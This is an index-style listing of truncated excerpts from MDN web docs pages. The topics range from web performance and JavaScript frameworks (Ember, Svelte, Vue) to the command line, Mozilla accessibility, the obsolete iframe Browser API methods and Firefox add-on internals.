re looking for some more specific information, you can add other keywords as modifiers, for example "<video> element autoplay attribute", or "date.settime parameters". if you want to search for something that has less obvious buzzwords, you need to think about what is most likely to return what you want. run code after several promises are fulfilled play a video stream from a webcam in the browser create a linear gradient in the background of your element error messages if you are having a problem with some code and a specific error message is coming up, it is often a good idea to just copy the error message into your search engine and use it as the search term. if other people have had the same problem, there'll likely be some articles or blog posts about it in places like mdn or st...
...same problem, there'll likely be some articles or blog posts about it in places like mdn or stack overflow. note: stack overflow is a really useful website — it is basically a huge database of curated questions and answers on various technologies and related techniques. you'll probably find an answer that answers your question. if not, you can ask a question and see if anyone can help you. browser testing it is often a good idea to see if your problem is affecting all browsers, or whether it only occurs in one or a small number of browsers. if it is only affecting one browser, for example, you can use that browser to narrow down the search. example searches might look like: <video> playback doesn't work in the ios browser. firefox doesn't seem to support the beetlejuice api. using...
Measuring performance - Learn web development
directly created by making a performance mark or measure (for example by calling the mark() method) at an explicit point in an application. performance entries are also created in indirect ways; such as loading a resource, like an image. the performanceobserver api can be used to observe performance measurement events and it can notify you of new performance entries as they are recorded in the browser's performance timeline. while this article does not dive into using these apis, it is useful to know they exist. you can also refer to the navigation and timings article for further examples on using performance web apis. tools and metrics there are a number of different tools available to help you improve performance. these can generally be classified into two categories: tools that in...
...e page, how many bytes need to be downloaded to display a page, and much more. it also lets you know it the measured values are considered good or bad. webpagetest.org is another example of a tool that automatically tests your site and returns useful metrics. try running your favorite website now, on both webpagetest.org and pagespeed insights, and see what the scores are. network tools most browsers have tools available that you can use to run against loaded pages and determine how they are performing. for example, the firefox network monitor returns detailed information on all the assets downloaded form the network, along with a time graph that shows how long each one took to download. you can also use the performance monitor to measure the performance of a web app or site's user inte...
What is web performance? - Learn web development
. note: web performance includes both objective measurements like time to load, frames per second, and time to interactive, and subjective experiences of how long it felt like it took the content to load. how content is rendered to effectively understand web performance, the issues behind it, and the major topic areas we mentioned above, you really should understand some specifics about how browsers work. this includes: how the browser works. when you request a url and hit enter / return, the browser finds out where the server is that holds that website's files, establishes a connection to it, and requests the files. see populating the page: how the browser works for a detailed overview. source order. your html index file's source order can significantly affect performance. the downlo...
...our html index file's source order can significantly affect performance. the download of additional assets linked to from the index file is generally sequential, based on source order, but this can be manipulated and should definitely be optimized, realizing that some resources block additional downloads until their content is parsed and executed. the critical path. this is the process that the browser uses to construct the web document once the files have been downloaded from the server. the browser follows a well-defined set of steps, and optimizing the critical rendering path to prioritize the display of content that relates to the current user action will lead to significant improvements in content rendering time. see critical rendering path for more information. the document object mode...
The "why" of web performance - Learn web development
performance is important to site visitors and for your business goals. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to gain basic familiarity of why web performance is important for good user experience. web performance refers to how quickly site content loads and renders in a web browser, and how well it responds to user interaction. bad performing sites are slow to display and slow to respond to input. bad performing sites increase site abandonment. at its worst, bad performance causes content to be completely inaccessible. a good goal for web performance is for users to not notice performance. while an individual's perception of site performance performance is subjective, loa...
...c transportation. the same site will be slow to load, possibly verging on unusable depending on cell coverage. you might give up before it finishes loading. imagine loading that same site on a $35 huawei device in a rural india with limited coverage or no coverage. the site will be very slow to load—if it loads at all—with blocking scripts possibly timing out, and adverse cpu impact causing browser crashes if it does load. a 22.6 mb site could take up to 83 seconds to load on a 3g network, with domcontentloaded (meaning the site's base html structure) at 31.86 seconds. and it isn't just the time taken to download that is a major problem. a lot of countries still have internet connections that bill per megabyte. our example 22.6 mb cnn.com experience would cost about 11% of the average ...
Web performance - Learn web development
the "why" of web performance this article discusses why web performance is important for accessibility, user experience and your business goals. what is web performance? you know web performance is important, but what is constitutes web performance? this article introduces the components of performance, from web page loading and rendering, including how your content makes it into your users browser to be viewed, to what groups of people we need to consider when thinking about performance, how do users perceive performance? more important than how fast your website is in milliseconds, is how fast your users perceive your site to be. these perceptions are impacted by actual page load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations. in...
...suggested ways of handling styles to ensure performance is not negatively impacted. fonts and performance a look at whether you need to include external fonts and, if you do, how to include the fonts your design requires with the least impact on your sites performance. mobile performance with web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, cpu and battery life, it is important to consider the performance of your web content on these platforms. this article looks at mobile-specific performance considerations. focusing on performance there are many different things a developer can do to improve performance, but how fast is fast enough? how can you convince powers that be of the importance of thes...
Getting started with Ember - Learn web development
mber-cli new todomvc this generates a production-ready application development environment that includes the following features by default: development server with live reload. plugin-architecture that allows for third-party packages to richly enhance your application. the latest javascript via babel and webpack integration. automated testing environment that runs your tests in the browser, allowing you to test like a user. transpilation, and minification, of both css and javascript for production builds. conventions for minimizing the differences between applications (allowing easier mental context switching). getting ready to build our ember project you'll need a code editor before continuing to interact with your brand new project. if you don't have one configured alrea...
...(190ms) – serving on http://localhost:4200/ slowest nodes (totaltime >= 5%) | total (avg) -----------------------------------------+----------- broccolimergetrees (17) | 35ms (2 ms) package /assets/vendor.js (1) | 13ms concat: vendor styles/assets/vend... (1) | 12ms the development server launches at http://localhost:4200, which you can visit in your browser to check out what your work looks like so far. if everything is working correctly, you should see a page like this: note: on windows systems without windows subsystem for linux (wsl), you will experience slower build-times overall compared to macos, linux, and windows with wsl. summary so far so good. we've got to the point where we can start build up our sample todomvc app in ember. in...
Ember interactivity: Events, classes and state - Learn web development
hich wraps and calls other functions or properties, providing additional functionality along the way. for example, the @tracked decorator (see slightly later on) runs code it is applied to, but additionally tracks it and automatically updates the app when values change. read javascript decorators: what they are and when to use them for more general information on decorators. coming back to our browser tab with the app running, we can type whatever we want, and when we hit enter we'll be greeted with an alert message telling us exactly what we typed. with the interactivity of the header input out of the way, we need a place to store todos so that other components can access them. storing todos with a service ember has built-in application-level state management that we can use to manage ...
...he todo-data service available inside the headercomponent class via the todos object, using the @service decorator. add the following line just below the opening export... line: @service('todo-data') todos; now the placeholder alert(text); line can be replaced with a call to our new add() function. replace it with the following: this.todos.add(text); if we try this out in the todo app in our browser (npm start, go to localhost:4200), it will look like nothing happens after hitting the enter key (although the fact that the app builds without any errors is a good sign). using the ember inspector however, we can see that our todo was added: displaying our todos now that we know that we can create todos, there needs to be a way to swap out our static "buy movie tickets" todos with the todo...
Deployment and next steps - Learn web development
a particularly useful plugin which is also maintained by the svelte team is svelte-preprocess, which pre-processes man...
......
Working with Svelte stores - Learn web development
$alert = `todo '${todos[i].name}' has been renamed to '${todo.name}'` if (todos[i].completed !== todo.completed) $alert = `todo '${todos[i].name}' marked as ${todo.completed ? 'completed' : 'active'}` todos[i] = { ...todos[i], ...todo } } add the following reactive block beneath the block that starts with let filter = 'all': $: { if (filter === 'all') $alert = 'browsing all todos' else if (filter === 'active') $alert = 'browsing active todos' else if (filter === 'completed') $alert = 'browsing completed todos' } and finally for now, update the const checkalltodos and const removecompletedtodos blocks as follows: const checkalltodos = (completed) => { todos = todos.map(t => ({...t, completed})) $alert = `${completed ? 'checked' : 'unc...
...odos.svelte' import alert from './components/alert.svelte' import { todos } from './stores.js' </script> <alert /> <todos bind:todos={$todos} /> note: this is the only change we have to make in order to use our custom store. app.svelte is completely transparent in terms of what kind of store we are using. go ahead and try your app again. create a few todos and then close the browser. you may even stop the svelte server and restart it. upon revisiting the url, your todos will still be there. you can also inspect it in the devtools console. in the web console, enter the command localstorage.getitem('mdn-svelte-todo'). make some changes to your app, like pressing the uncheck all button, and check the web storage content once more. you will get something like this: ...
Getting started with Vue - Learn web development
successfully, the cli should have created a series of files and directories for your project. the most significant ones are as follows: .eslintrc.js: this is a config file for eslint. you can use this to manage your linting rules. babel.config.js: this is the config file for babel, which transforms modern javascript features being used in development code into older syntax that is more cross-browser compatible in production code. you can register additional babel plugins in this file. .browserslistrc: this is a config for browserslist. you can use this to control which browsers your tooling optimizes for. public: this directory contains static assets that are published, but not processed by webpack during build (with one exception; index.html gets some processing). favicon.ico: thi...
...utput something like the following: info starting development server... 98% after emitting copyplugin done compiled successfully in 18121ms app running at: - local: <http://localhost:8080/> - network: <http://192.168.1.9:8080/> note that the development build is not optimized. to create a production build, run npm run build. if you navigate to the “local” address in a new browser tab (this should be something like http://localhost:8080 as stated above, but may vary based on your setup), you should see your app. right now, it should contain a welcome message, a link to the vue documentation, links to the plugins you added when you initialized the app with your cli, and some other useful links to the vue community and ecosystem. making a couple of changes let's make o...
Adding a new todo form: Vue events, methods, and models - Learn web development
t="method". we'll use the shorthand syntax here for consistency. add the submit handler to your <form> element like so: <form @submit="onsubmit"> when you run this, the app still posts the data to the server, causing a refresh. since we're doing all of our processing on the client, there's no server to handle the postback. we also lose all local state on page refresh. to prevent the browser from posting to the server, we need to stop the event’s default action from bubbling up through the page (event.preventdefault(), in vanilla javascript). vue has a special syntax called event modifiers that can handle this for us right in our template. modifiers are appended to the end of an event with a dot like so: @event.modifier. here is a list of event modifiers: .stop: stops t...
... handler via the left mouse button event. .right: only triggers the handler via the right mouse button event. .middle: only triggers the handler via the middle mouse button event. .passive: equivalent to using the { passive: true } parameter when creating an event listener in vanilla javascript using addeventlistener(). in this case, we need to use the .prevent handler to stop the browser’s default submit action. add .prevent to the @submit handler in your template like so: <form @submit.prevent="onsubmit"> if you try submitting the form now, you'll notice that the page doesn't reload. if you open the console, you can see the results of the console.log() we added inside our onsubmit() method. binding data to inputs with v-model next up, we need a way to get the value ...
Command line crash course - Learn web development
n specifying paths to images or other assets in css, html, or javascript code: cd desktop/project/src note that including a leading slash on your path makes the path absolute, for example /users/your-user-name/desktop. omitting the leading slash like we’ve done above makes the path relative to the your present working directory. this is exactly the same as you would see with urls in your web browser. a leading slash means "at the root of the web site", whereas omitting the slash means "the url is relative to my current page". note: on windows you use backslashes instead of forward slashes, e.g. cd desktop\project\src — this may seem really odd, but if you are interested in why, watch this youtube clip featuring an explanation by one of microsoft’s principal engineers. listing direc...
...the number of lines it contains, and prints that count to stdout instead. a slightly more complex example let’s go through something a bit more complicated. we will first try to fetch the contents of mdn's "fetch" page using the curl command (which can be used to request content from urls), from /docs/web/api/fetch. however, this url is the old location of the page. if you enter it in a new browser tab, you’ll (eventually) get redirected to /docs/web/api/windoworworkerglobalscope/fetch. therefore, if you use curl to request /docs/web/api/fetch, you won’t get an output. try it now: curl /docs/web/api/fetch we need to explicitly tell curl to follow redirects using the -l flag. let's also look at the headers that developer.mozilla.org returns using curl's -i flag, and print all the l...
Deploying our app - Learn web development
"cache busted". running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests prevent deployment. actually deploying the updated code to a live url: or potentially a staging url so it can be reviewed first. note: cache busting is a new term that we haven't met before in the module. this is the strategy of breaking a browser's own caching mechanism, which forces the browser to download a new copy of your code. parcel (and indeed many other tools) will generate filenames that are unique to each new build. this unique filename "busts" your browser's cache, thereby making sure the browser downloads the fresh code each time an update is made to the deployed code. the above tasks also break down into further tasks; no...
...to approach the problem: end-to-end testing, which involves your visitor clicking a thing and some other thing happening. integration testing, which basically says "does one block of code still work when connected to another block?" unit testing, where small and specific bits of functionality are tested to see if they do what they are supposed to do. and many more types. also see our cross browser testing module for a bunch of useful testing information remember also that tests are not limited to javascript; tests can be run against the rendered dom, user interactions, css, and even how a page looks. however, for this project we’re going to create a small test that will check the third-party nasa data feed and ensure it's in the correct format. if not, the test will fail and will pr...
Mozilla's Section 508 Compliance
(a) when software is designed to run on a system that has a keyboard, product functions shall be executable from a keyboard where the function itself or the result of performing a function can be discerned textually. mostly complete. ...
... incomplete. inadequate attention paid to mac keyboard bugs. needs more investigation. ...
Accessibility and Mozilla
upport. this guide was written from an atk/at-spi point of view as part of the orca live region support project. however, many of the concepts were also used during the development of firevox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility community with questions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web. in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a new piece of software. websites such as online magazines with sophisticated audiences are now repor...
...he accessibility help topic for more information.links and resourceshere are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility community. feedback and constructive suggestions are encouraged.mozilla plugin accessibilityplugins in gecko-based browsers have a lot of accessibility issues. here is a rundown of problems and the planned solutions:mozilla's section 508 compliancemozilla’s uaag evaluation reportthe uaag document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be implemented by any user agent, i.e. software that renders web content. the uaag is not the basis for any government ac...
Index
ning and distributing your add-on add-ons, extensions, webextensions, distribution, publication, reviews, signing add-ons need to be signed before they can be installed into release and beta versions of firefox. this signing process takes place through addons.mozilla.org (amo), whether you choose to distribute your add-on through amo or to do it yourself. 678 make money from browser extensions guide, monetization, webextensions, distribution while users can download browser extensions for firefox free of cost from addons.mozilla.org (amo), this doesn’t mean you can’t make money from browser extensions, and to a more limited extent themes. 679 promoting your extension or theme add-ons, extensions, promotion, themes, webextensions, distribution ...
... obsolete add-ons, archive, look & feel, obsolete, themes this page contains theme documents and resources that we don't expect will ever be updated, but which we're keeping for the time being as potential source material for updated docs. 686 theme concepts theme, add-on themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip. 687 using the amo theme generator amo, add-ons, firefox, guide, tutorial, add-on the theme generator on addons.mozilla.org (amo) guides you through the process of creating a theme for firefox. once you have defined the colors an...
Benchmarking
rust optimization level local optimized builds are compiled with rust optimization level 1 by default, unlike nightly builds, which use rust optimization level 2. this setting reduces build times significantly but comes with a serious hit to runtime performance for any rust code (for example stylo and webrender). ...
...nostic tool that causes crashes to happen sooner and produce much more actionable information, but also slow down regular usage substantially. in particular, "gc poisoning" is used in all debug builds, and in optimized nightly builds (but not opt developer edition or beta builds). the poisoning can be disabled by setting the environment variable jsgc_disable_poisoning=1 before starting the browser. async stacks async stacks no longer impact performance since firefox 78, as bug 1601179 limits async stack capturing to when devtools is opened. another option that is on by default in non-release builds is the preference javascript.options.asyncstack, which provides better debugging information to developers. set it to false to match a release build. (this may be disabled for many situat...
Debugging a hang on OS X (Archived)
any hanging application will begin automatically. after about 3-4 seconds, select the hanging application in the “detected hangs” window and click the “interrupt sampling” button. note that sampling will quickly hog up a lot of memory if you leave it on for too long! when it's done parsing the data, click the "show text report" button; a new window will open with a couple of rows with stacktraces for all the threads in the sampled application. if you need to upload the sample to bugzilla, select all the sample text, copy it into your favorite text editor, and save as a plain-text file. for a more detailed view of the sample data, make sure the sample you just recorded is selected in the “detected hangs” window and click on the “open…” button. creating the sa...
...e latest computer hardware understanding development (chud) tools from apple.). choose file > attach... select "firefox-bin" or the hung application you want a sample from. now, click "start recording". note that only 3-4 seconds usually suffice, note that this will quickly hog up a lot of memory if you leave it on for too long! when it's done parsing the data, you should now have a couple of rows with stacktraces for all the threads in the sampled application. when you have the raw sample data, you can't just save that and attach it to a bug, because the format is not very usable (unless the developer is a mac hacker). export it using tools > generate report, and attach this as a text file to the bug report. the final data will show where the application spent all its time when it was ...
Limitations of frame scripts
ent. therefore frame scripts should not attempt to access the local file system directly, as these calls will fail. examples of apis add-on authors should avoid in frame scripts: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely to not work in the content process. for example: nsipromptservice nsifilepicker nsixul* <need more examples> services some services will not work in frame scripts. services.search services.downloads chrome windows anything that needs to use chrome windows will not work in the content process. fo...
...ci.nsidomwindow); this will no longer work. in the content process the root tree item is an nsitabchild, that cannot be converted to an nsidomwindow, so the second getinterface call here will fail. if you want a chrome window: send a message from the content process using the message manager. the target property of the object passed into the message handler in the chrome process is the xul <browser> receiving the message, and you can get the chrome window from that (note: i'm not really sure how...). nsiaboutmodule by default, custom about: pages registered using nsiaboutmodule are loaded in the chrome process. this means that you can't access their content from the content process (via xhr, for example). you can change this default in the code you use to register the about: uri. see a...
Message manager
these guides explain how to use message managers in multiprocess firefox. note that none of this requires multiprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants. ...
... these guides explain how to use message managers in multiprocess firefox. note that none of this requires multiprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants. ...
Firefox and the "about" protocol
when opening a new tab about:performance displays memory and performance information about firefox subprocesses/add-ons/tabs about:plugins displays information about installed plugins about:policies lists out the firefox for enterprise policies about:preferences firefox settings (also available through firefox menu > options) about:privatebrowsing start page when opening a private window about:profiles display and manage firefox profiles about:protections privacy protections report consisting of enhanced tracking protection, firefox monitor and firefox lockwise data about:restartrequired a page users are sent to when firefox requires a restart due to an update about:reader indicates a w...
... the array maps most of the urls, like config to urls in the chrome: pseudo protocol, suc...
HTMLIFrameElement.clearMatch()
warning: removed in firefox 65. the clearmatch() method of the htmliframeelement clears any content highlighted by findall() or findnext(). invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results. note: use of the browser api requires a privileged app, and browser and/or embed-apps permissions, depending on what you want to do. see using the browser api for more details. syntax instanceofhtmliframeelement.clearmatch(); returns void. parameters none. examples the following function is taken from our browser api demo, and (amongst other things) clears the search results when the search bar is hidden, if an existing search is active. see implementing the search bar for more explanation. searchtoggle.addeventlistener('tou...
...h bar is hidden, if an existing search is active. see implementing the search bar for more explanation. searchtoggle.addeventlistener('touchend',function() { if(search.getattribute('class') === 'search') { search.setattribute('class', 'search shifted'); } else if(search.getattribute('class') === 'search shifted') { search.setattribute('class', 'search'); if(searchactive) { browser.clearmatch(); searchactive = false; prev.disabled = true; next.disabled = true; searchbar.value = ''; } } }); specification not part of any specification. ...
HTMLIFrameElement.findAll()
warning: removed in firefox 65. the findall() method of the htmliframeelement searches for a string in a browser <iframe>'s text content; if found, the first instance of the string relative to the caret position will be highlighted. invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results. note: use of the browser api requires a privileged app, and browser and/or embed-apps permissions, depending on what you want to do. see using the browser api for more details. syntax instanceofhtmliframeelement.findall(searchstring, casesensitivity); returns void. parameters searchstring the string you want to search for in the browser <iframe>'s text. casesensitivity a string to declare whether you want the search to be case sens...
... for more details. syntax instanceofhtmliframeelement.findall(searchstring, casesensitivity); returns void. parameters searchstring the string you want to search for in the browser <iframe>'s text. casesensitivity a string to declare whether you want the search to be case sensitive (case-sensitive) or insensitive (case-insensitive.) example the following function is taken from our browser api demo, and executes a search when a search form is submitted. see implementing the search bar for more explanation. searchform.addeventlistener('submit', function(e) { e.preventdefault(); browser.findall(searchbar.value, 'case-sensitive'); searchactive = true; prev.disabled = false; next.disabled = false; searchbar.blur(); }); specification not part of any specification. ...
HTMLIFrameElement.findNext()
warning: removed in firefox 65. the findnext() method of the htmliframeelement highlights the next or previous instance of a search result after a findall() search has been carried out. invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results. note: use of the browser api requires a privileged app, and browser and/or embed-apps permissions, depending on what you want to do. see using the browser api for more details. syntax instanceofhtmliframeelement.findnext(direction); return value void. ...
...apps permissions, depending on what you want to do. see using the browser api for more details. syntax instanceofhtmliframeelement.findnext(direction); return value void. parameters direction a string indicating the direction in which you want to cycle through the available search results. available values are forward and backward. examples the following functions are taken from our browser api demo, and cycle through the available search results. see implementing the search bar for more explanation. prev.addeventlistener('touchend',function() { browser.findnext('backward'); }); next.addeventlistener('touchend',function() { browser.findnext('forward'); }); specification not part of any specification. ...
HTMLIFrameElement.getCanGoBack()
re is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
...he htmliframeelement interface is used to indicate whether it's possible to go back in the navigation history of the browser <iframe>. syntax instanceofhtmliframeelement.getcangoback() .then(function(result) { ... }); returns a promise that resolves with a boolean that equals true if the history can be navigated backward or false if not. parameters none. example function canmovebwd() { browser.getcangoback().then(function(result) { if (result) { back.disabled = false; console.log("it's possible to navigate the history backward."); } else { back.disabled = true; console.log("it's not possible to navigate the history backward."); } }); } specification not part of any specification. ...
HTMLIFrameElement.getCanGoForward()
eature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... of the htmliframeelement is used to indicate whether it's possible to go forward in the navigation history of the browser <iframe>. syntax instanceofhtmliframeelement.getcangoforward() .then(function(result) { ... }); returns a promise that resolves with a boolean that equals true if the history can be navigated forward or false if not. parameters none. example function canmovefwd() { browser.getcangoforward().then(function(result) { if (result) { fwd.disabled = false; console.log("it's possible to navigate the history forward."); } else { fwd.disabled = true; console.log("it's not possible to navigate the history forward."); } }); } specification not part of any specification. ...
HTMLIFrameElement.getScreenshot()
ethod of the htmliframeelement lets you request a screenshot of a content <iframe>, scaled to fit within a specified maximum width and height. the image will be cropped if necessary but will not be distorted vertically or horizontally. note: getscreenshot() waits for the event loop to go idle before it takes the screenshot. it won't wait more than 2000ms (this delay is defined by the gecko dom.browserelement.maxscreenshotdelayms preference). syntax var instanceofdomrequest = instanceofhtmliframeelement.getscreenshot(maxwidth, maxheight, mimetype); returns a domrequest for handling the screenshot request. its request.onsuccess handler handles the success case (the screenshot is contained in request.result as a blob object), and its request.onerror handler handles the failure case. param...
...ght a number representing the maximum height of the screenshot in device pixels. mimetype optional a mime type specifying the format of the image to be returned; if not specified, the default used is image/jpeg. use image/png to capture the alpha channel of the rendered result by returning a png-format image. this lets you get a transparent background for the content <iframe>. examples var browser = document.queryselector('iframe'); var request = browser.getscreenshot(100, 100); request.onsuccess = function() { var blob = request.result; var url = url.createobjecturl(blob); } specification not part of any specification. ...
HTMLIFrameElement.getVisible()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
...ture. the getvisible() method of the htmliframeelement is used to request the current visible state of the browser <iframe>. syntax instanceofdomrequest = instanceofhtmliframeelement.getvisible(); returns a domrequest object to handle the getvisible() request's success and error cases. if the request is successful, the request's result is a boolean indicating the visible state of the browser <iframe>. parameters none. example var browser = document.queryselector('iframe'); var request = browser.getvisible(); request.onsuccess = function() { console.log('the visible state is: ' + this.result ? 'true' : 'false'); } specification not part of any specification. ...
HTMLIFrameElement.getVolume()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the getvolume() method of the htmliframeelement gets the current volume of the browser <iframe>. syntax there are two versions of this method, a callback version: var request = instanceofhtmliframeelement.getvolume(); and a promise version: instanceofhtmliframeelement.getvolume().then(function(volume) { ... }); returns callback version: a domrequest that represents the get volume request. it has an onsuccess handler to handle the success case, and an onerror handler to handle the failure case...
...get volume request. it has an onsuccess handler to handle the success case, and an onerror handler to handle the failure case. the volume value is available in the request.result property, and is a floating point number between 0 and 1. promise version: a promise that resolves with the volume value — a floating point number between 0 and 1. parameters none. example callback version: var browser = document.queryselector('iframe'); var request = browser.getvolume(); request.onsuccess = function() { console.log('the current browser volume is ' + request.result); } promise version: var browser = document.queryselector('iframe'); browser.getvolume().then(function(volume) { console.log('the current browser volume is ' + volume); }); specification not part of any specification. ...
HTMLIFrameElement.zoom()
Mozilla › Gecko › Chrome › API › Browser API › zoom
warning: removed in firefox 65. the zoom() method of the htmliframeelement interface changes the zoom factor of the browser <iframe>'s content. this is particularly useful for zooming in/out on non-touch-enabled devices. syntax var instanceofdomrequest = instanceofhtmliframeelement.zoom(zoomfactor); returns void. parameters zoomfactor a unitless number value representing the amount to zoom in or out. it acts like a percentage, so for example 1.1 would zoom in by 10%, whereas 0.9 would zoom out by 10%. ...
...s content. this is particularly useful for zooming in/out on non-touch-enabled devices. syntax var instanceofdomrequest = instanceofhtmliframeelement.zoom(zoomfactor); returns void. parameters zoomfactor a unitless number value representing the amount to zoom in or out. it acts like a percentage, so for example 1.1 would zoom in by 10%, whereas 0.9 would zoom out by 10%. examples var browser = document.queryselector('iframe'); var zoomfactor = 1; zoomin.addeventlistener('touchend',function() { zoomfactor += 0.1; browser.zoom(zoomfactor); }); zoomout.addeventlistener('touchend',function() { zoomfactor -= 0.1; browser.zoom(zoomfactor); }); specification not part of any specification. ...
Chrome-only CSS reference
Mozilla › Gecko › Chrome › CSS
ribute.::-moz-tree-drop-feedbackactivated by the properties attribute.::-moz-tree-imageactivated by the properties attribute.::-moz-tree-indentationactivated by the properties attribute.::-moz-tree-lineactivated by the properties attribute.::-moz-tree-progressmeteractivated when the type attribute is set to progressmeter. ...
...ckactivated by the properties attribute.::-moz-tree-imageactivated by the properties attribute.::-moz-tree-indentationactivated by the properties attribute.::-moz-tree-lineactivated by the properties attribute.::-moz-tree-progressmeteractivated when the type attribute is set to progressmeter. ...
Embedding the editor
today. they should need to do as little work as possible to get basic editing functionality, be able to have any number of <editor>s per window, and control whether those <editor>s are in html or plain text mode. composer embedded in a native application in this application, the <iframe> on which the editor lives is embedded directly in the native application; this is equivalent to embedding the browser via nsiwebbrowser, but instead having an editable document. the composer chrome (toolbars etc) may be implemented by the embedder using native widgets, or using some amount of xul. that chrome needs to be configurable - dockable floating toolbars, toolbar shared between composer widgets, or 1 per widget. this type of embedding requires that the composer code is agnostic to where its ui is comin...
... qi from nsidocshell to one of these; if this succeeds, it indicates that the frame is editable. nsieditorframe should contain methods for getting the editing session, and doing some generic editor-related stuff (probably common to html and plain text editing). a subset of nsieditorshell will probably move into this interface. (this would be analogous to the nsiwebnavigation interface used for a browser.) when we have one editor per docshell, loading a frameset document, or a page with an <iframe> in composer, will instantiate more than one low-level editor. we need a concept of an "editing session" - a single top-level document which is editable, and which may embody more than one editor. this interface will be called nsi????. high-level ui and emebedding code should deal with this editin...
Embedding Mozilla
you can even construct whole new applications using chrome. documentation gecko embedding basics an introduction to embedding the gecko rendering engine. embedding tips some frequently asked questions about embedding. mozilla embedding apis overview introduction to the mozilla embedding apis. ...
...requently asked questions about embedding. mozilla embedding apis overview introduction to the mozilla embedding apis. embedding the editor this document describes the current state of editor embeddability, problems with the existing implementation, some possible embedding scenarios that we need to deal with, and an embedding solution that will fulfil them. roll your own browser - an embedding howto a quick introduction to embedding mozilla. view all... community view mozilla forums... mailing list newsgroup rss feed #embedding irc channel related topics gecko, xpcom ...
How test harnesses work
mozilla test harnesses are typically composed of a python runner that invokes firefox, utilizes the browser to run tests, and reports the results. the python harness communicates with the browser by inserting an extension in the testing profile or uses marionette's wire protocol to drive the browser. python runner the python runner: sets up the testing environment sets up environment variables (mozrunner, currently) creates a profile (mozprofile via mozrunner) sets appropriate test preferences inserts a shim extension in the profile (for non-marionette tests) gathers the tests (manifestdestiny) potentially sets up an http server for test data (mozhttpd) invokes the binary (mozrunner) it is the job of the shim extension to shut down the...
...ariables (mozrunner, currently) creates a profile (mozprofile via mozrunner) sets appropriate test preferences inserts a shim extension in the profile (for non-marionette tests) gathers the tests (manifestdestiny) potentially sets up an http server for test data (mozhttpd) invokes the binary (mozrunner) it is the job of the shim extension to shut down the browser logging (mozlog, in theory) (run tests, accrue results) cleanup: shutdown the browser check for crashes (mozcrash) reporting (moztest) marionette tests list of testing extensions pageloader (talos) mochitest: //github.com/realityripple/uxp/blob/master/testing/mochitest/install.rdf (mochitest) ...
Implementing Download Resuming
entity id is what ensures that the file remains unchanged. this can also be used to check whether the download is resumable: if it is not (e.g. the server is not using http 1.1), then accessing this attribute will throw an ns_error_not_resumable exception. if the download gets interrupted, necko will call the stream listener's onstoprequest method with a failure status. (todo: document what webbrowserpersist/exthandler do). the front-end code can then notify the user of this, and offer to resume the download. resuming a download in order to resume a download, you should create a channel as usual (using nsiioservice). then, you can check if it implements nsiresumablechannel. if it does not, the protocol does not support resuming. otherwise, call resumeat with the desired start position, an...
...e file in the ondataavailable notifications. you may want to use nsisimplestreamlistener to simplify this task; to get progress notifications, you can implement nsiprogresseventsink and set an interface requester as the notificationcallbacks of the channel that gives out such an event sink (this needs to be done before calling asyncopen). note: in versions of firefox prior to 3.0 alpha 7, nsiwebbrowserpersist cannot append to existing files (as opposed to overwriting them), and is therefore not usable for this task (see bug 129921). detecting when a file changed if the file changed (that is, the entity id does not match), then necko will notify the stream listener with an ns_error_entity_changed error code. the front-end may want to offer the user to get the new file from scratch in such a ...
Add-on Manager
you can pass the url to a page in the add-on manager tab to load that page. read more about it at this topic here on mozilla add-ons forum :: how to open an add-on's preference panel? and also here mdn :: inline options - opening inline options in add-on manager. these pages show you how to load pages such as service...
...ger.getstartupchanges(addonmanager.startup_change_disabled); if (addonids.length > 0) { // addonids is now an array of the add-on ids that have been disabled alert("note: " + addonids.length + " add-ons have been disabled."); } open add-on manager tab the add-on manager tab can be opened programatically with the function browseropenaddonsmgr which is available on chrome window of "navigator:browser" type. you can pass the url to a page in the add-on manager tab to load that page. read more about it at this topic here on mozilla add-ons forum :: how to open an add-on's preference panel? and also here mdn :: inline options - opening inline options in add-on manager. these pages show you how to load pages such as services page etc. ...
API-provided widgets
d id of an element that has a shortcut for this widget (optional, default: null). this is only used to display the shortcut as part of the tooltip for builtin widgets (which have strings inside customizablewidgets.properties). if you're in an add-on, you should not set this property, and should instead include the shortcut as part of the tooltiptext you pass in yourself. ...
... widget (optional, default: null). this is only used to display the shortcut as part of the tooltip for builtin widgets (which have strings inside customizablewidgets.properties). if you're in an add-on, you should not set this property, and should instead include the shortcut as part of the tooltiptext you pass in yourself. showinprivatebrowsing whether to show the widget in private browsing mode (optional, default: true) event handlers you can also define several event handlers which will be called at various stages in a widget's lifetime: event handler name description onbuild(adoc) only useful for custom widgets (and required there); a function that will be invoked with the document in which to build a widget. should return the dom node that has...
DownloadLastDir.jsm
